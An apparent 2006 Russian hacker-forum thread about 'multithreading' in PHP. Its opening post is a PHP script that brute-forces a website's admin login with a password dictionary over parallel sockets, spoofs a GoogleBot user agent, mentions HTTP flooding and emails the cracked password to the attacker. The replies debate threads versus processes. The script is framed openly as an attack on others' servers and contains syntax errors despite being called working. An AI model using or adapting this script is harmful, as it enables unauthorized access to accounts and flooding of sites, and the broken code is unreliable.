Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Php и многопоточность (https://forum.antichat.xyz/showthread.php?t=29310)

EXSlim 17.12.2006 18:47

Php и многопоточность
 

Интро

Иногда бывают ситуации, требующие быстро обработать информацию. Например, при работе с несколькими тысячами записей БД, не заставляя пользователя долго ждать. К сожалению PHP обладает небольшими возможностями при роботе с потоками, здесь козыри в руках PERL. Но именно о многопоточности в PHP мы и будем говорить.

О многопоточности в PERL можно прочитать в статье KSURi.
_http://forum.antichat.ru/thread28020.html


In da work
Для примера возьмем более привычную задачу – брут(или хттп флуд=)). Итак работать будем с сокетами. Брутить будем какой нибудь пароль в админку. Комменты и обьяснения в самом скрипте. В начале скрипта идут простые параметры. Максимальное число потоков не рекомендую ставить слишком большим =) С целью экономии памяти ограничим максимальную длину пароля. Если скрипт не требует логина - пропустите соответствующую настройку. Если вы незнаете ответа скрипта при правильном пароле, напишите в $stop_condition ответ при неправильном а в скрипте перед preg_match доставьте - "!"
Цитата:

<?php

//Маскимальное число потоков
$threads = 20;

//хост
$host = "http://somehost.net";

//порт
$port = 80;

//файл для авторизации
$auth_file = "somefile.php";

//имя которое будем брутить
$brute_username = "admin";

//Словарик
# Переделать скрипт для брута по алфавиту или маске
# не составит труда.
$dict = "dict.txt";

//Максимальная длина пароля из файла
$socket_send_limit = 32;

//Стоп условие.
$stop_condition = "Welcome to the admin panel";

//Мыло на которое приёдет пасс
# Скрипт также можно переделать для записи результата
# в файл или простого вывода на экран
$mail = "somemail@mail.ru";


Смысл многопоточности в паралельно работающих соединениях. Их хендлеры заносятся в масив, не превышающий $threads. Отработавшие сокеты удаляются из масива освобожная место новым. Каждый считаный из словаря пасс формирует новый запрос. Следующий пасс - новый поток.
Цитата:

#####################
# Начинаем работать
#

//Формируем полный путь к скрипту
$full_path = $host.":".$port."/".$auth_file."?";

$f = fopen("$dict","r");

while (!feof($f)) {

//Читаем словарик
$current_pass = fgets($f,$socket_send_limit);

//Пока не достигли максимального числа потоков - продолжаем
if $threads > count($sock) {

//Формируем сам пост запрос
//Добавить можно любые хидеры
$query = "";

$query .="POST ".$full_path." HTTP/1.1\r\n";

$query .="Accept: */* \n";

$query .="Host: ".$host."\n";

$query .="User-Agent: GoogleBot 2.1\n"; // =)))))

$query .="\nlogin=".$brute_username."&password=".$сurren t_pass."\n";


//Открываем сокет
$s = fsockopen($host,$port);

//!!! Переходим в неблокирующий режим!!!!
stream_set_blocking(0);

//Устанавливаем таймаут
stream_set_timeout($s,600);

//Пишем в сокет
fputs($s,strlen($query));

//Запоминаем сокет в масив
$sock[$current_pass] = $s;


//Проверяем количество потоков
if count($sock) == 0 die("Can`t open socket or job already done.");

//Считываем ответ сервера
$get = fgets($s,1024);


//Не сбрутился ли наш пароль?
if (preg_match($stop_condition,$get)) {

mail("somemail@mail.ru","brute",$current_pass);

fclose($s);

fclose($f);

die("Done!");

}

//Удаляем из масива хендлер отработавшего сокета
//Освобождаем место для нового
unset($sock[$current_pass]);

}


//Разгрузим немного сервак. Можно пропустить на чужом сервере =)
sleep(1);

}
?>
Вместо заключения
Естественно это не единственный способ. Скрипт полностью работоспособный, но на баги не проверял. В общем есть смысл доработать и/или модернизировать. Целью было показать один из способов увеличения скорости работы в PHP.

Zadoxlik 17.12.2006 18:51

Бреед. Такую "многопоточность" (т.е. для неблок. сокетов) можно мутить токма функциями socket_ (если пхп собран с их поодержкой).
Как у меня тут например:
http://zadoxlik.info/portscan

А вообще слишком громко назвал тему чтобы написатьв ней только такую какашку

EXSlim 17.12.2006 19:21

Цитата:

Бреед. Такую "многопоточность" (т.е. для неблок. сокетов) можно мутить токма функциями socket_ (если пхп собран с их поодержкой).
Всё нормально работает, причём намного быстрее. А насчёт "многопоточности" я и написал в интро и аутро. Если ты читал...

Насчёт названия топика - ыыы блин, ты прав, немного не так

Zadoxlik 17.12.2006 19:35

У тебя блокируется выполнение в момент подкючения к хосту

EXSlim 17.12.2006 20:44

Собственно ... уже давно пользуюсь более функциональным отлаженым скриптом на основе этого. Этот же скрипт я писал по-быстрому, даже не проверил на ошибки, ведь он работает у меня более пол года. Целью было показать идею, и возможно сам скипт не отлажен.

Gh0s7 17.12.2006 20:45

Гг. Серия статей про треады?
Остались треды на питоне :)

Morph 17.12.2006 21:35

Поидее на пхп вроде как вообще многопоточность не возможна так что думаю с названием переборщил ты чутка)

KSURi 17.12.2006 23:39

Был уже миллион обсуждений этой темы. Доходило до холиваров Perl vs PHP.
Но суть не в этом...
Скрипт дает прирост скорости? - Да. Значит все нормально.
Не стоит ругаться на его трактовку термина "многопточность". Главное что прирост есть, а термины это ***##

EXSlim 17.12.2006 23:50

Цитата:

Сообщение от Morph
Поидее на пхп вроде как вообще многопоточность не возможна так что думаю с названием переборщил ты чутка)

c названием да, с потоками - нет (+pcntl)

Zadoxlik 18.12.2006 00:23

Это не потоки

nc.STRIEM 18.12.2006 01:10

Первый раз слышу про многопоточность в Php!!!!
чесн говоря в твоем примере ее не увидел! может ее просто не существует?? :)

EXSlim 18.12.2006 01:37

Цитата:

Сообщение от Zadoxlik
Это не потоки

for ($i=1; $i<7; $i++){
$pid[$i] = pcntl_fork();
if ($pid[$i] != -1) {do_some_job();}
}

а как тогда это обозвать?

ps. я отлично понимаю что это создает 7 дочерних процесов отличающихся pid`ом но всё же....

KPOT_f!nd 18.12.2006 02:34

что-то не вериться мне! В первый слышу и читаю про многопоточность в php! Знаю что над этим сейчас работают работники php!

Xex 18.12.2006 07:37

Цитата:

Сообщение от EXSlim
for ($i=1; $i<7; $i++){
$pid[$i] = pcntl_fork();
if ($pid[$i] != -1) {do_some_job();}
}

а как тогда это обозвать?

ps. я отлично понимаю что это создает 7 дочерних процесов отличающихся pid`ом но всё же....

нее, ты нешаришь. Ты вообще понимаешь чем отличается поток от процесса?
ВЫДЕРЖКА из статьи:
<<<Подводя черту, закрепим: главное отличие процессов от потоков, состоит в том, что процессы изолированы друг от друга, так используют разные адресные пространства, а потоки, могут использовать одно и то же пространство (внутри процесса) при этом, выполняя действия не мешаяя друг другу. В этом и заключается удобство многопоточного программинга: разбив приложение на несколько последовательных потоков, мы можем увеличить производительность, упростить пользовательский интерфейс и добиться масштабируемости (если Ваше приложение установят на многопроцессорную систему, выполняя потоки на разных процах, ваша прога будет работать с аховой скоростью=)).
>>>

вот линк, если не понял:
_http://seregaborzov.wordpress.com/2006/11/08/chem_process_otlichaetca_ot_potoka/

fucker"ok 18.12.2006 09:48

Эх. Я тоже потоки с форками путал ещё совсем недавно :)
А так ли она нужна в пхп эта многопоточность, ведь если учесть что язык орентирован на создание веб интерфесов...
Вот её только для брутов и добавят, чтобы за 5 минут брут никадать все могли :)

blackybr 18.12.2006 10:00

2Gh0s7 на питоне это делается практически как на перле )
threading+Queue+shed+распаралериван е потоков с помощью gil'а )

EXSlim 18.12.2006 12:06

Цитата:

вот линк, если не понял:
_http://seregaborzov.wordpress.com/2006/11/08/chem_process_otlichaetca_ot_potoka/
ты хоть сам читал это? Хех, 4 абзац сверху

Речь идёт о статье. В примере, на самом деле 1 процесс и до 20 паралельно работающих соединений, выполяняющих одну работу.

Xex 19.12.2006 01:59

найди официальный мануал, и прочти чем отличается поток от процесса,
а линк я те дал, чтоб ты начал искать, и высказываение там верное.

x-treem 06.03.2007 19:39

А вот что я подумал. Если посудить по большему счёту... Многопоточность, это когда работают одновременно несколько скриптов(это конечно грубое сравнение, но всё же).
Значит для некоторых ситуаций может подойти такой расклад.

Скрипт будет автоматом генерить фрэймы, каждый из которых запускает скрипт с определёнными параметрами.
Один - script.php?param1=0&param2=10
Второй - script.php?param1=11&param2=20
Третий - script.php?param1=21&param2=30
и т.д.
то есть одно окно запускает несколько скриптов одновременно.
Конечно же данный способ не подойдёт для консольного выполнения.

Вот вообщем моя мысля. Кто что на этот счёт думает?

Извините если об это уже где нить писалось

gormet 06.03.2007 20:13

В Php6 будет реализация многопоточности, а то что ты написал, полный бред, ну может в некоторых случаях и это сойдет, а зачем забивать микроскопом гвозди, если есть специальные скриптовые языки подерживающие многопоточность!

x-treem 06.03.2007 20:16

Цитата:

Сообщение от gormet
В Php6 будет реализация многопоточности, а то что ты написал, полный бред, ну может в некоторых случаях и это сойдет, а зачем забивать микроскопом гвозди, если есть специальные скриптовые языки подерживающие многопоточность!


Мля, я и не открывал эту тему. Просто изложил свою мысль по этому поводу. Это не значит что пользуюсь этим.

Talisman 06.03.2007 20:29

это НЕ многопоточность... это многопроцессность.
многопоточность - как было сказано выше - когда 1 поток имеет доступ к памяти другого. процессы же, что ты и делаешь, имеют раздельную память, что иногда противопоказано.
ЗЫ зря тему поднимал...
а твой метод давно юзается. имхо это может делать и 1 скрипт, без браузера)


Время: 13:11